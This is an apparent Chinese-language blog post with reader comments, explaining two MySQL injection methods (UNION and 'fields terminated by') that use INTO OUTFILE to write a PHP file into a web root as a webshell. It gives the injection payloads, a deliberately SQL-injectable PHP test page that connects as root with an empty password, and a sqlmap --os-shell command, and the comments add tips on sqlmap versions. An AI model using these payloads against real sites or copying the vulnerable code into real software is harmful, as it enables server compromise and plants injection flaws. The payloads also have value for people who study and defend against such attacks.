MySQL注入两种写Webshell的方法

作者: Luan 分类: 学习笔记 发布时间: 2017-04-11 14:00

利用条件:

root权限

GPC关闭(能使用单引号)

有绝对路径(读文件可以不用,写文件必须)

没有配置–secure-file-priv

1.union
id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23
2.no union

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23

 

第二种方法最早最早是在吐司的一个 2015-1-24 的帖子里看到的,吐司果然大牛多。

 

 

=============== 2017.04.13补充================

这里用的第二种方法是通过插入分隔符号来getshell的,所以必须查询结果有多个列

一般情况下的注入点都是符合条件的。

 

================2017.04.14再补充======================

测试文件:

luan_test.php

<?php
	@$link= mysql_connect("localhost","root","");
	mysql_select_db("mysql",$link);
	$user = strtolower($_GET['user']);
	if(strpos($user,"union") === false){
		$sql= "SELECT * FROM user where user='{$user}'";
		echo $sql . '<br>';
		mysql_query($sql);
		echo mysql_errno() . ": " . mysql_error(). " ";
	}
?>

经测试,sqlmap最新版实际是支持这个方法的:

C:\luan\sqlmap>python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell

但是,如果–os-shell用不了,sqlmap有个写文件的选项,经测试不成功。。。。

也就是说,sqlmap只能传自己的webshell。

如果工具党遇到这种情况,直接使用sqlmap –os-shell然后用sqlmap上传的Webshell来操作就可以了。

 

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

11条评论
  • i

    2017年4月15日 下午6:42

    file-dest是能用自己的马的,成功过几回了。不过用最新版SQLmap还真没成功过

    1. Luan

      2017年4月15日 下午6:43

      原来是这样,听说sqlmap的新版本某些地方是没老版本好

      1. i

        2017年4月17日 下午3:08

        确实如此,很多老版本能注能写shell新版本不能,也有很多新版本能注能写shell老版本不能,多备几个版本不亏

        1. Luan

          2017年4月17日 下午4:14

  • KAAAsS

    2017年4月15日 下午4:32

    mark,no union这个的确很棒。

  • 墨子

    2017年4月14日 上午1:28

    😓sqlmap.py -u “xxx.xxx” os-shell

    1. Luan

      2017年4月14日 上午9:53

      自己知道原理方法不更好么,如果遇到waf什么的也方便研究绕过方法。

  • angelababy

    2017年4月13日 上午10:51

    你好,请问一下博主有女朋友吗?

    1. Luan

      2017年4月13日 下午12:47

      没有,快滚

  • clay

    2017年4月12日 下午8:15

    你好,请问博主能解释一下你这个第二个语句,no union的语句时如何实现的呢,我复现的时候不能成功呢?

    1. Luan

      2017年4月13日 上午9:32

      你执行:
      select * from mysql.user into outfile ‘C:/wamp/www/luan_phpinfo2.php’ fields terminated by ‘< ? phpinfo(); ?>‘;
      来测试下,具体原因我补充到文章里了。

Luan进行回复 取消回复